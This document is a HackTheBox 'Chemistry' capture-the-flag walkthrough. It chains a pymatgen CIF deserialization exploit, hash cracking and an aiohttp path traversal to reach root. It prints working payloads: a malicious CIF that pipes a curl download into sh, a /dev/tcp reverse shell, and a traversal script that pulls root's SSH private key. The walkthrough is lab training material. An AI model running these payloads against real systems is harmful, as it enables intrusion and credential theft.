HTB: Chemistry Writeup

Chemistry - HackTheBox Writeup

Machine Information

AttributeDetails
NameChemistry
OSLinux
DifficultyEasy
PointsN/A
Release DateMarch 6, 2025
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Chemistry is an easy-difficulty Linux machine that demonstrates real-world vulnerabilities in popular Python libraries. The attack chain begins with exploiting a Remote Code Execution (RCE) vulnerability in the pymatgen library (CVE-2024-23346) by uploading a malicious CIF file to a web-based CIF Analyzer. After gaining initial access, password hash cracking enables lateral movement to the rosa user via SSH. Privilege escalation is achieved by exploiting an Arbitrary File Read vulnerability in the AioHTTP library (CVE-2024-23334) running on an internal web service, allowing us to exfiltrate the root SSH private key and gain full system access.

TL;DR: Malicious CIF upload (pymatgen RCE) → Shell as app user → Hash cracking → SSH as rosa → Port forwarding → AioHTTP path traversal → Root private key exfiltration → Root access.


Reconnaissance

Port Scanning

Terminal window
# First, identify open ports
nmap --open 10.129.49.198 | grep open | cut -d ' ' -f 1 | cut -d '/' -f 1 | paste -sd,
# Full enumeration on discovered ports
nmap 10.129.49.198 -p 22,5000 -sV -sC -Pn --disable-arp-ping

Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11
5000/tcp open http Werkzeug httpd 3.0.3 (Python 3.9.5)

Service Enumeration

Port 22 - SSH:

  • OpenSSH 8.2p1 running on Ubuntu
  • Standard SSH service, no obvious misconfigurations

Port 5000 - Web Application:

  • Werkzeug 3.0.3 WSGI server running Python 3.9.5
  • Hosts a “Chemistry - Home” web application for CIF file analysis
  • Provides user registration and login functionality
  • Dashboard allows file uploads

Vulnerability Assessment

The application accepts CIF (Crystallographic Information Files) uploads. Research into CIF file parsing reveals a critical vulnerability in the pymatgen library—a Python package widely used for materials science calculations. The library is susceptible to arbitrary code execution through specially crafted CIF files that leverage Python deserialization attacks.


Initial Foothold

Exploitation Path

Step 1: Understand the Target

CIF files are text-based crystallographic data files. The web application uses the pymatgen library to parse these files, making it vulnerable to CVE-2024-23346.

Step 2: Craft the Malicious CIF Payload

Create a reverse shell script to host:

#!/bin/bash
echo -ne '#!/bin/bash\n/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.35/9000 0>&1"' > shell.sh

Start a Python HTTP server to serve the payload:

Terminal window
sudo python3 -m http.server 80

Step 3: Create the Exploit CIF File

The exploit leverages Python’s built-in class hierarchy to execute arbitrary OS commands through the deserialization process:

data_5yOhtAoR
_audit_creation_date 2018-06-08
_audit_creation_method "Pymatgen CIF Parser Arbitrary Code Execution Exploit"
loop_
_parent_propagation_vector.id
_parent_propagation_vector.kxkykz
k1 [0 0 0]
_space_group_magn.transform_BNS_Pp_abc 'a,b,[d for d in ().__class__.__mro__[1].__getattribute__(*[().__class__.__mro__[1]]+["__subclasses__"]) () if d.__name__ == "BuiltinImporter"][0].load_module("os").system("curl http://10.10.14.35/shell.sh|sh");0,0,0'
_space_group_magn.number_BNS 62.448

Save this as kavi.cif.

Step 4: Execute the Exploit

  1. Register and log in to the Chemistry web application
  2. Upload kavi.cif through the dashboard
  3. View/process the uploaded file
  4. Catch the reverse shell connection:
Terminal window
rlwrap nc -lvnp 9000

Shell obtained:

listening on [any] 9000 ...
connect to [10.10.14.35] from (UNKNOWN) [10.129.49.198] 32946
/bin/sh: 0: can't access tty; job control turned off
$ script -c /bin/bash /dev/null
app@chemistry:~$

Privilege Escalation

Step 1: Enumerate the Database

Upgrade to an interactive shell and explore the application directory:

Terminal window
app@chemistry:~$ cd instance
app@chemistry:~/instance$ ls -la
total 24
drwxr-xr-x 2 app app 4096 Jan 10 14:32 .
drwxr-xr-x 3 app app 4096 Jan 10 14:32 ..
-rw-r--r-- 1 app app 20480 Jan 10 14:32 database.db

Step 2: Extract Password Hashes

Access the SQLite database and query the user table:

Terminal window
app@chemistry:~/instance$ sqlite3 database.db
sqlite> .tables
structure user
sqlite> select * from user;
1|admin|<hash>
2|app|<hash>
3|rosa|<hash>
4|robert|<hash>
5|jobert|<hash>
6|carlos|<hash>
7|peter|<hash>
8|victoria|<hash>
9|tania|<hash>
10|eusebio|<hash>
11|gelacia|<hash>
12|fabian|<hash>
13|axel|<hash>
14|kristel|<hash>

Step 3: Crack Password Hashes

Extract hashes and crack them with hashcat:

Terminal window
# Extract hashes from SQLite output
cat sqlite_output | cut -f 3 -d '|' > hashes
# Crack MD5 hashes (hash mode 0)
hashcat -m 0 hashes /usr/share/wordlists/rockyou.txt

Successfully cracked hashes:

<hash>:unicorniosrosados (rosa)
<hash>:carlos123 (carlos)
<hash>:peterparker (peter)
<hash>:victoria123 (victoria)

Step 4: Lateral Movement via SSH

Verify that rosa is a system user:

Terminal window
app@chemistry:~$ cat /etc/passwd | grep '/bin/bash'
root:x:0:0:root:/root:/bin/bash
rosa:x:1000:1000:rosa:/home/rosa:/bin/bash
app:x:1001:1001,,,:/home/app:/bin/bash

SSH into the system as rosa:

Terminal window
ssh rosa@chemistry.htb
# Password: unicorniosrosados

Step 5: Discover Internal Service

Check for internal listening ports:

Terminal window
rosa@chemistry:~$ ss -tlnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 0.0.0.0:5000 0.0.0.0:*
LISTEN 0 128 127.0.0.1:8080 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*

An internal web service is running on port 8080.

Step 6: Port Forwarding

Forward the internal service to your local machine:

Terminal window
ssh -L 8080:127.0.0.1:8080 -N -vv rosa@10.129.49.198

Step 7: Identify Vulnerable Service

Scan the forwarded port:

Terminal window
nmap -p 8080 -sV -sC 127.0.0.1

Results:

PORT STATE SERVICE VERSION
8080/tcp open http aiohttp 3.9.1 (Python 3.9)
|_http-server-header: Python/3.9 aiohttp/3.9.1
|_http-title: Site Monitoring

AioHTTP 3.9.1 is vulnerable to CVE-2024-23334 (Arbitrary File Read via Path Traversal).

Step 8: Discover Exploitable Endpoint

Use directory enumeration to find static resource handling:

Terminal window
feroxbuster -u http://127.0.0.1:8080/ -w /usr/share/wordlists/dirb/directory-list-medium-2.3.txt

Key findings:

200 GET 88l 171w 1380c http://127.0.0.1:8080/
200 GET 5l 83w 59344c http://127.0.0.1:8080/assets/css/all.min.css
200 GET 72l 171w 2491c http://127.0.0.1:8080/assets/js/script.js
403 GET 1l 2w 14c http://127.0.0.1:8080/assets

The /assets/ endpoint is the static file handler—perfect for path traversal exploitation.

Step 9: Exploit Path Traversal to Read Root Flag

Create an exploit script that uses ../ sequences to escape the assets directory:

exploit.sh
#!/bin/bash
url="http://localhost:8080"
string="../"
payload="/assets/"
file="root/root.txt" # without the leading /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [ $status_code -eq 200 ]; then
echo "[+] SUCCESS! File content:"
curl -s --path-as-is "$url$payload$file"
break
fi
done

Run the exploit:

Terminal window
chmod +x exploit.sh
./exploit.sh

Output:

[+] Testing with /assets/../root/root.txt
Status code --> 404
[+] Testing with /assets/../../root/root.txt
Status code --> 404
[+] Testing with /assets/../../../root/root.txt
Status code --> 200
<redacted>

Step 10: Escalate to Root via SSH Key

Modify the exploit to extract the root SSH private key:

#!/bin/bash
# exploit.sh (modified)
url="http://localhost:8080"
string="../"
payload="/assets/"
file="root/.ssh/id_rsa" # without the leading /
for ((i=0; i<15; i++)); do
payload+="$string"
echo "[+] Testing with $payload$file"
status_code=$(curl --path-as-is -s -o /dev/null -w "%{http_code}" "$url$payload$file")
echo -e "\tStatus code --> $status_code"
if [ $status_code -eq 200 ]; then
echo "[+] SUCCESS! Extracting SSH key..."
curl -s --path-as-is "$url$payload$file" > id_rsa
break
fi
done

Execute and use the extracted key:

Terminal window
chmod +x exploit.sh
./exploit.sh
# Set proper permissions on the private key
chmod 600 id_rsa
# SSH into the target as root
ssh -i id_rsa root@chemistry.htb

Attack Chain Summary

Enumerate Port 5000 (Web App)
Identify CIF File Upload Vulnerability
Research pymatgen CVE-2024-23346 (RCE)
Craft Malicious CIF with OS Command Injection
Gain Shell as 'app' User
Extract Password Hashes from SQLite Database
Crack Hashes with Hashcat (rosa:unicorniosrosados)
SSH Lateral Movement to 'rosa' User
Discover Internal Port 8080 (aiohttp 3.9.1)
Port Forward Internal Service
Identify CVE-2024-23334 (Path Traversal in aiohttp)
Exploit /assets/ Endpoint with ../ Sequences
Read Root SSH Private Key
SSH as 'root' with Extracted Private Key
COMPLETE

Tools Used

ToolPurpose
nmapPort scanning and service version detection
curlHTTP requests and file retrieval via path traversal
sqlite3Database queries to extract password hashes
hashcatPassword hash cracking (MD5 mode 0)
sshSecure shell access and port forwarding
feroxbusterDirectory enumeration on web services
nc / rlwrapNetcat listener for reverse shell
python3HTTP server for payload hosting

Key Learnings

Techniques Practiced

  • Python Deserialization Attacks: Exploiting unsafe deserialization in pymatgen through malicious CIF file injection
  • Hash Cracking: Using hashcat to brute-force MD5 password hashes extracted from SQLite databases
  • Path Traversal Exploitation: Leveraging ../ sequences to bypass directory restrictions and read arbitrary files
  • Port Forwarding: Using SSH tunnels to access internal network services
  • Lateral Movement: Chaining vulnerabilities and credential discovery to elevate privileges
  • Static File Handler Exploitation: Identifying and exploiting misconfigured static resource serving in web frameworks

Lessons Learned

  1. Input Validation is Critical: CIF file parsing without proper input sanitization allows arbitrary code execution. Always validate and sanitize user-supplied data before processing.

  2. Credential Storage and Management: Plain-text or weakly-hashed credentials in SQLite databases pose significant security risks. Use strong hashing algorithms (bcrypt, Argon2) and never store plaintext passwords.

  3. Layered Security: Multiple vulnerabilities were chained together to achieve root access. A single fix at any stage (e.g., strong passwords, library updates) would have broken the attack chain.

  4. Dependency Management: Outdated libraries (pymatgen and aiohttp) contained known CVEs. Regular security audits and timely patching are essential.

  5. Internal Services Require Protection: The internal aiohttp service on port 8080 was accessible after gaining user access. Internal services should still implement proper authentication and authorization controls.

  6. Directory Traversal Prevention: Path normalization and strict allowlisting of accessible directories are critical controls for static file handlers.


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>